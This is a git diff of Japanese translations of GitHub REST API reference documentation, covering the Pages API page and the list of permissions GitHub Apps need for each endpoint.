+SSOが有効化されたOrganization内のリソースにアクセスするために{% data variables.product.prodname_registry %} APIを使いたい場合は、個人アクセストークンにSSOを有効化しなければなりません。 For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
diff --git a/translations/ja-JP/content/rest/reference/pages.md b/translations/ja-JP/content/rest/reference/pages.md
index 713ca428fc..880fca8db8 100644
--- a/translations/ja-JP/content/rest/reference/pages.md
+++ b/translations/ja-JP/content/rest/reference/pages.md
@@ -1,6 +1,6 @@
 ---
 title: Pages
-intro: 'The GitHub Pages API allows you to interact with GitHub Pages sites and build information.'
+intro: The GitHub Pages API allows you to interact with GitHub Pages sites and build information.
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,21 +12,21 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The {% data variables.product.prodname_pages %} API retrieves information about your {% data variables.product.prodname_pages %} configuration, and the statuses of your builds. Information about the site and the builds can only be accessed by authenticated owners{% ifversion not ghae %}, even if the websites are public{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
+{% data variables.product.prodname_pages %} API は、{% data variables.product.prodname_pages %} の設定や、ビルドのステータスについての情報を取得します。 サイトとビルドに関する情報は、{% ifversion not ghae %}Webサイトがパブリックの場合であっても{% endif %}認証を受けたユーザだけがアクセスできます。 詳しい情報については、「[{% data variables.product.prodname_pages %} について](/pages/getting-started-with-github-pages/about-github-pages)」を参照してください。
 
-In {% data variables.product.prodname_pages %} API endpoints with a `status` key in their response, the value can be one of:
-* `null`: The site has yet to be built.
-* `queued`: The build has been requested but not yet begun.
-* `building`:The build is in progress.
-* `built`: The site has been built.
-* `errored`: Indicates an error occurred during the build.
+レスポンスに `status` キーを持つ {% data variables.product.prodname_pages %} API エンドポイントにおいては、値は以下のいずれかになります。
+* `null`: サイトはまだビルドされていません。
+* `queued`: ビルドがリクエストされたが、まだ開始していません。
+* `building`: ビルドが進行中です。
+* `built`: サイトがビルドされています。
+* `errored`: ビルド中にエラーが発生したことを示します。
 
-In {% data variables.product.prodname_pages %} API endpoints that  return GitHub Pages site information, the JSON responses include these fields:
-* `html_url`: The absolute URL (including scheme) of the rendered Pages site. For example, `https://username.github.io`.
-* `source`: An object that contains the source branch and directory for the rendered Pages site. This includes:
-   - `branch`: The repository branch used to publish your [site's source files](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). For example, _main_ or _gh-pages_.
-   - `path`: The repository directory from which the site publishes. Will be either `/` or `/docs`.
+GitHub Pages サイトの情報を返す {% data variables.product.prodname_pages %} API エンドポイントにおいては、JSON のレスポンスには以下が含まれます。
+* `html_url`: レンダリングされた Pages サイトの絶対 URL (スキームを含む) 。 たとえば、`https://username.github.io` などです。
+* `source`: レンダリングされた Pages サイトのソースブランチおよびディレクトリを含むオブジェクト。 これは以下のものが含まれます。
+   - `branch`: [サイトのソースファイル](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)を公開するために使用するリポジトリのブランチ。 たとえば、_main_ or _gh-pages_ などです。
+   - `path`: サイトの公開元のリポジトリディレクトリ。 `/` または `/docs` のどちらかとなります。
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'pages' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
diff --git a/translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md b/translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md
index a067fef447..be3e3b9f17 100644
--- a/translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md
+++ b/translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Permissions required for GitHub Apps
-intro: 'You can find the required permissions for each {% data variables.product.prodname_github_app %}-compatible endpoint.'
+title: GitHub Appに必要な権限
+intro: '{% data variables.product.prodname_github_app %}互換の各エンドポイントについて、必要な権限を確認できます。'
 redirect_from:
   - /v3/apps/permissions
 versions:
@@ -11,16 +11,16 @@ versions:
 topics:
   - API
 miniTocMaxHeadingLevel: 3
-shortTitle: GitHub App permissions
+shortTitle: GitHub Appの権限
 ---
 
-### About {% data variables.product.prodname_github_app %} permissions
+### {% data variables.product.prodname_github_app %}の権限について
 
-{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Setting permissions for GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)."
+{% data variables.product.prodname_github_apps %} are created with a set of permissions. {% data variables.product.prodname_github_app %}がAPIを介してアクセスできるリソースが、権限によって決まります。 詳細は、「[GitHub Appの権限の設定](/apps/building-github-apps/setting-permissions-for-github-apps/)」を参照してください。
 
-### Metadata permissions
+### メタデータ権限
 
-GitHub Apps have the `Read-only` metadata permission by default. The metadata permission provides access to a collection of read-only endpoints with metadata for various resources. These endpoints do not leak sensitive private repository information.
+GitHub Appは、デフォルトで`Read-only`メタデータ権限を持ちます。 メタデータ権限は、各種リソースのメタデータを持つ読み取り専用のエンドポイントのコレクションへのアクセスを提供します。 これらのエンドポイントで、機密のプライベートリポジトリ情報が漏洩することはありません。
 
 {% data reusables.apps.metadata-permissions %}
 
@@ -35,7 +35,7 @@ GitHub Apps have the `Read-only` metadata permission by default. The metadata pe
 - [`POST /markdown/raw`](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
 - [`GET /meta`](/rest/reference/meta#meta)
 - [`GET /organizations`](/rest/reference/orgs#list-organizations)
-- [`GET /orgs/:org`](/rest/reference/orgs#get-an-organization)
+- [`GET /orgs/:org`](/rest/reference/orgs#list-organizations)
 - [`GET /orgs/:org/projects`](/rest/reference/projects#list-organization-projects)
 - [`GET /orgs/:org/repos`](/rest/reference/repos#list-organization-repositories)
 - [`GET /rate_limit`](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
@@ -72,17 +72,17 @@ GitHub Apps have the `Read-only` metadata permission by default. The metadata pe
 - [`GET /users/:username/repos`](/rest/reference/repos#list-repositories-for-a-user)
 - [`GET /users/:username/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user)
 
-_Collaborators_
+_コラボレータ_
 - [`GET /repos/:owner/:repo/collaborators`](/rest/reference/collaborators#list-repository-collaborators)
 - [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
 
-_Commit comments_
+_コミットのコメント_
 - [`GET /repos/:owner/:repo/comments`](/rest/reference/commits#list-commit-comments-for-a-repository)
 - [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#get-a-commit-comment)
 - [`GET /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment)
 - [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/commits#list-commit-comments)
 
-_Events_
+_イベント_
 - [`GET /events`](/rest/reference/activity#list-public-events)
 - [`GET /networks/:owner/:repo/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
 - [`GET /orgs/:org/events`](/rest/reference/activity#list-public-organization-events)
@@ -95,16 +95,16 @@ _Git_
 - [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates)
 - [`GET /gitignore/templates/:key`](/rest/reference/gitignore#get-a-gitignore-template)
 
-_Keys_
+_キー_
 - [`GET /users/:username/keys`](/rest/reference/users#list-public-keys-for-a-user)
 
-_Organization members_
+_Organizationメンバー_
 - [`GET /orgs/:org/members`](/rest/reference/orgs#list-organization-members)
 - [`GET /orgs/:org/members/:username`](/rest/reference/orgs#check-organization-membership-for-a-user)
 - [`GET /orgs/:org/public_members`](/rest/reference/orgs#list-public-organization-members)
 - [`GET /orgs/:org/public_members/:username`](/rest/reference/orgs#check-public-organization-membership-for-a-user)
 
-_Search_
+_検索_
 - [`GET /search/code`](/rest/reference/search#search-code)
 - [`GET /search/commits`](/rest/reference/search#search-commits)
 - [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests)
@@ -114,7 +114,7 @@ _Search_
 - [`GET /search/users`](/rest/reference/search#search-users)
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "actions"
+### "actions"に対する権限
 
 - [`GET /repos/:owner/:repo/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (:read)
@@ -138,7 +138,7 @@ _Search_
 - [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (:read)
 {% endif %}
 
-### Permission on "administration"
+### "administration"に対する権限
 
 - [`POST /orgs/:org/repos`](/rest/reference/repos#create-an-organization-repository) (:write)
 - [`PATCH /repos/:owner/:repo`](/rest/reference/repos#update-a-repository) (:write)
@@ -189,7 +189,7 @@ _Search_
 - [`PATCH /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#accept-a-repository-invitation) (:write)
 - [`DELETE /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#decline-a-repository-invitation) (:write)
 
-_Branches_
+_ブランチ_
 - [`GET /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#get-branch-protection) (:read)
 - [`PUT /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#update-branch-protection) (:write)
 - [`DELETE /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#delete-branch-protection) (:write)
@@ -223,28 +223,28 @@ _Branches_
 - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (:write)
 {% endif %}
 
-_Collaborators_
+_コラボレータ_
 - [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#add-a-repository-collaborator) (:write)
 - [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#remove-a-repository-collaborator) (:write)
 
-_Invitations_
+_招待_
 - [`GET /repos/:owner/:repo/invitations`](/rest/reference/collaborators#list-repository-invitations) (:read)
 - [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#update-a-repository-invitation) (:write)
 - [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#delete-a-repository-invitation) (:write)
 
-_Keys_
+_キー_
 - [`GET /repos/:owner/:repo/keys`](/rest/reference/deployments#list-deploy-keys) (:read)
 - [`POST /repos/:owner/:repo/keys`](/rest/reference/deployments#create-a-deploy-key) (:write)
 - [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#get-a-deploy-key) (:read)
 - [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#delete-a-deploy-key) (:write)
 
-_Teams_
+_Team_
 - [`GET /repos/:owner/:repo/teams`](/rest/reference/repos#list-repository-teams) (:read)
 - [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (:write)
 - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write)
 
 {% ifversion fpt or ghec %}
-_Traffic_
+_トラフィック_
 - [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repository-metrics#get-repository-clones) (:read)
 - [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repository-metrics#get-top-referral-paths) (:read)
 - [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repository-metrics#get-top-referral-sources) (:read)
@@ -252,7 +252,7 @@ _Traffic_
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### Permission on "blocking"
+### "blocking"に対する権限
 
 - [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (:read)
 - [`GET /user/blocks/:username`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (:read)
@@ -260,7 +260,7 @@ _Traffic_
 - [`DELETE /user/blocks/:username`](/rest/reference/users#unblock-a-user) (:write)
 {% endif %}
 
-### Permission on "checks"
+### "checks"に対する権限
 
 - [`POST /repos/:owner/:repo/check-runs`](/rest/reference/checks#create-a-check-run) (:write)
 - [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (:read)
@@ -274,7 +274,7 @@ _Traffic_
 - [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (:read)
 - [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (:read)
 
-### Permission on "contents"
+### "contents"に対する権限
 
 - [`GET /repos/:owner/:repo/:archive_format/:ref`](/rest/reference/repos#download-a-repository-archive) (:read)
 {% ifversion fpt -%}
@@ -360,7 +360,7 @@ _Traffic_
 - [`PUT /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#merge-a-pull-request) (:write)
 - [`GET /repos/:owner/:repo/readme(?:/(.*))?`](/rest/reference/repos#get-a-repository-readme) (:read)
 
-_Branches_
+_ブランチ_
 - [`GET /repos/:owner/:repo/branches`](/rest/reference/branches#list-branches) (:read)
 - [`GET /repos/:owner/:repo/branches/:branch`](/rest/reference/branches#get-a-branch) (:read)
 - [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#list-apps-with-access-to-the-protected-branch) (:write)
@@ -371,7 +371,7 @@ _Branches_
 - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (:write)
 {% endif %}
 
-_Commit comments_
+_コミットのコメント_
 - [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#update-a-commit-comment) (:write)
 - [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#delete-a-commit-comment) (:write)
 - [`POST /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (:read)
@@ -393,7 +393,7 @@ _Git_
 - [`GET /repos/:owner/:repo/git/trees/:sha`](/rest/reference/git#get-a-tree) (:read)
 
 {% ifversion fpt or ghec %}
-_Import_
+_インポート_
 - [`GET /repos/:owner/:repo/import`](/rest/reference/migrations#get-an-import-status) (:read)
 - [`PUT /repos/:owner/:repo/import`](/rest/reference/migrations#start-an-import) (:write)
 - [`PATCH /repos/:owner/:repo/import`](/rest/reference/migrations#update-an-import) (:write)
@@ -404,7 +404,7 @@ _Import_
 - [`PATCH /repos/:owner/:repo/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (:write)
 {% endif %}
 
-_Reactions_
+_リアクション_
 
 {% ifversion fpt or ghes or ghae -%}
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (:write)
@@ -420,7 +420,7 @@ _Reactions_
 - [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (:write)
 {% endif %}
 
-_Releases_
+_リリース_
 - [`GET /repos/:owner/:repo/releases`](/rest/reference/repos/#list-releases) (:read)
 - [`POST /repos/:owner/:repo/releases`](/rest/reference/repos/#create-a-release) (:write)
 - [`GET /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#get-a-release) (:read)
@@ -433,7 +433,7 @@ _Releases_
 - [`GET /repos/:owner/:repo/releases/latest`](/rest/reference/repos/#get-the-latest-release) (:read)
 - [`GET /repos/:owner/:repo/releases/tags/:tag`](/rest/reference/repos/#get-a-release-by-tag-name) (:read)
 
-### Permission on "deployments"
+### "deployments"に対する権限
 
 - [`GET /repos/:owner/:repo/deployments`](/rest/reference/deployments#list-deployments) (:read)
 - [`POST /repos/:owner/:repo/deployments`](/rest/reference/deployments#create-a-deployment) (:write)
@@ -446,7 +446,7 @@ _Releases_
 - [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/deployments#get-a-deployment-status) (:read)
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "emails"
+### "emails"に対する権限
 
 {% ifversion fpt -%}
 - [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (:write)
@@ -457,7 +457,7 @@ _Releases_
 - [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (:read)
 {% endif %}
 
-### Permission on "followers"
+### "followers"に対する権限
 
 - [`GET /user/followers`](/rest/reference/users#list-followers-of-a-user) (:read)
 - [`GET /user/following`](/rest/reference/users#list-the-people-a-user-follows) (:read)
@@ -465,7 +465,7 @@ _Releases_
 - [`PUT /user/following/:username`](/rest/reference/users#follow-a-user) (:write)
 - [`DELETE /user/following/:username`](/rest/reference/users#unfollow-a-user) (:write)
 
-### Permission on "gpg keys"
+### "gpg keys"に対する権限
 
 - [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (:read)
 - [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (:write)
@@ -473,16 +473,16 @@ _Releases_
 - [`DELETE /user/gpg_keys/:gpg_key_id`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (:write)
 
 {% ifversion fpt or ghec %}
-### Permission on "interaction limits"
+### "interaction limits"に対する権限
 
 - [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (:read)
 - [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (:write)
 - [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (:write)
 {% endif %}
 
-### Permission on "issues"
+### "issues"に対する権限
 
-Issues and pull requests are closely related. For more information, see "[List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)." If your GitHub App has permissions on issues but not on pull requests, these endpoints will be limited to issues. Endpoints that return both issues and pull requests will be filtered. Endpoints that allow operations on both issues and pull requests will be restricted to issues.
+Issueとプルリクエストには密接な関係があります。 詳細は、「[認証済みユーザに割り当てられたIssueのリスト](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)」を参照してください。 GitHub Appに、Issueに対する権限があってプルリクエストに対する権限がない場合、そのエンドポイントはIssueに限定されます。 Issueとプルリクエストの両方を返すエンドポイントがフィルターされます。 Issueとプルリクエストの両方に対する操作が可能なエンドポイントは、Issueに限定されます。
 
 - [`GET /repos/:owner/:repo/issues`](/rest/reference/issues#list-repository-issues) (:read)
 - [`POST /repos/:owner/:repo/issues`](/rest/reference/issues#create-an-issue) (:write)
@@ -502,17 +502,17 @@ Issues and pull requests are closely related. For more information, see "[List i
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
 
-_Assignees_
+_アサインされた人_
 - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read)
 - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write)
 - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write)
 
-_Events_
+_イベント_
 - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read)
 - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read)
 
-_Labels_
+_ラベル_
 - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write)
 - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write)
@@ -524,7 +524,7 @@ _Labels_
 - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write)
 - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write)
 
-_Milestones_
+_マイルストーン_
 - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read)
 - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read)
@@ -532,7 +532,7 @@ _Milestones_
 - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read)
 
-_Reactions_
+_リアクション_
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
 - [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (:read)
@@ -549,15 +549,15 @@ _Reactions_
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write)
 {% endif %}
 
-### Permission on "keys"
+### "keys"に対する権限
 
-_Keys_
+_キー_
 - [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (:read)
 - [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (:write)
 - [`GET /user/keys/:key_id`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (:read)
 - [`DELETE /user/keys/:key_id`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (:write)
 
-### Permission on "members"
+### "members"に対する権限
 
 {% ifversion fpt -%}
 - [`GET /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#list-idp-groups-for-a-team) (:write)
@@ -592,14 +592,14 @@ _Keys_
 {% endif %}
 
 {% ifversion fpt or ghec %}
-_Invitations_
+_招待_
 - [`GET /orgs/:org/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (:read)
 - [`POST /orgs/:org/invitations`](/rest/reference/orgs#create-an-organization-invitation) (:write)
 - [`GET /orgs/:org/invitations/:invitation_id/teams`](/rest/reference/orgs#list-organization-invitation-teams) (:read)
 - [`GET /teams/:team_id/invitations`](/rest/reference/teams#list-pending-team-invitations) (:read)
 {% endif %}
 
-_Organization members_
+_Organizationメンバー_
 - [`DELETE /orgs/:org/members/:username`](/rest/reference/orgs#remove-an-organization-member) (:write)
 - [`GET /orgs/:org/memberships/:username`](/rest/reference/orgs#get-organization-membership-for-a-user) (:read)
 - [`PUT /orgs/:org/memberships/:username`](/rest/reference/orgs#set-organization-membership-for-a-user) (:write)
@@ -610,13 +610,13 @@ _Organization members_
 - [`GET /user/memberships/orgs/:org`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (:read)
 - [`PATCH /user/memberships/orgs/:org`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (:write)
 
-_Team members_
+_Teamメンバー_
 - [`GET /teams/:team_id/members`](/rest/reference/teams#list-team-members) (:read)
 - [`GET /teams/:team_id/memberships/:username`](/rest/reference/teams#get-team-membership-for-a-user) (:read)
 - [`PUT /teams/:team_id/memberships/:username`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (:write)
 - [`DELETE /teams/:team_id/memberships/:username`](/rest/reference/teams#remove-team-membership-for-a-user) (:write)
 
-_Teams_
+_Team_
 - [`GET /orgs/:org/teams`](/rest/reference/teams#list-teams) (:read)
 - [`POST /orgs/:org/teams`](/rest/reference/teams#create-a-team) (:write)
 - [`GET /orgs/:org/teams/:team_slug`](/rest/reference/teams#get-a-team-by-name) (:read)
@@ -634,7 +634,7 @@ _Teams_
 - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write)
 - [`GET /teams/:team_id/teams`](/rest/reference/teams#list-child-teams) (:read)
 
-### Permission on "organization administration"
+### "organization administration"に対する権限
 
 - [`PATCH /orgs/:org`](/rest/reference/orgs#update-an-organization) (:write)
 {% ifversion fpt -%}
@@ -647,11 +647,11 @@ _Teams_
 - [`DELETE /orgs/:org/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "organization events"
+### "organization events"に対する権限
 
 - [`GET /users/:username/events/orgs/:org`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (:read)
 
-### Permission on "organization hooks"
+### "organization hooks"に対する権限
 
 - [`GET /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#list-organization-webhooks) (:read)
 - [`POST /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#create-an-organization-webhook) (:write)
@@ -660,11 +660,11 @@ _Teams_
 - [`DELETE /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) (:write)
 - [`POST /orgs/:org/hooks/:hook_id/pings`](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) (:write)
 
-_Teams_
+_Team_
 - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read)
 
 {% ifversion ghes %}
-### Permission on "organization pre receive hooks"
+### "organization pre receive hooks"に対する権限
 
 - [`GET /orgs/:org/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) (:read)
 - [`GET /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) (:read)
@@ -672,7 +672,7 @@ _Teams_
 - [`DELETE /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "organization projects"
+### "organization projects"に対する権限
 
 - [`POST /orgs/:org/projects`](/rest/reference/projects#create-an-organization-project) (:write)
 - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read)
@@ -693,7 +693,7 @@ _Teams_
 - [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (:write)
 
 {% ifversion fpt or ghec %}
-### Permission on "organization user blocking"
+### "organization user blocking"に対する権限
 
 - [`GET /orgs/:org/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (:read)
 - [`GET /orgs/:org/blocks/:username`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (:read)
@@ -701,7 +701,7 @@ _Teams_
 - [`DELETE /orgs/:org/blocks/:username`](/rest/reference/orgs#unblock-a-user-from-an-organization) (:write)
 {% endif %}
 
-### Permission on "pages"
+### "pages"に対する権限
 
 - [`GET /repos/:owner/:repo/pages`](/rest/reference/pages#get-a-github-pages-site) (:read)
 - [`POST /repos/:owner/:repo/pages`](/rest/reference/pages#create-a-github-pages-site) (:write)
@@ -715,9 +715,9 @@ _Teams_
 - [`GET /repos/:owner/:repo/pages/health`](/rest/reference/pages#get-a-dns-health-check-for-github-pages) (:write)
 {% endif %}
 
-### Permission on "pull requests"
+### "pull requests"に対する権限
 
-Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Endpoints that return both pull requests and issues will be filtered. Endpoints that allow operations on both pull requests and issues will be restricted to pull requests.
+Pull RequestとIssueには密接な関係があります。 GitHub Appに、Pull Requestに対する権限があってIssueに対する権限がない場合、そのエンドポイントはPull Requestに限定されます。 Pull RequestとIssueの両方を返すエンドポイントがフィルターされます。 Pull RequestとIssueの両方に対する操作が可能なエンドポイントは、Pull Requestに限定されます。
 
 - [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (:write)
 - [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (:read)
@@ -743,18 +743,18 @@ Pull requests and issues are closely related. If your GitHub App has permissions
 - [`PATCH /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (:write)
 - [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (:write)
 
-_Assignees_
+_アサインされた人_
 - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read)
 - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write)
 - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write)
 
-_Events_
+_イベント_
 - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read)
 - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (:write)
 
-_Labels_
+_ラベル_
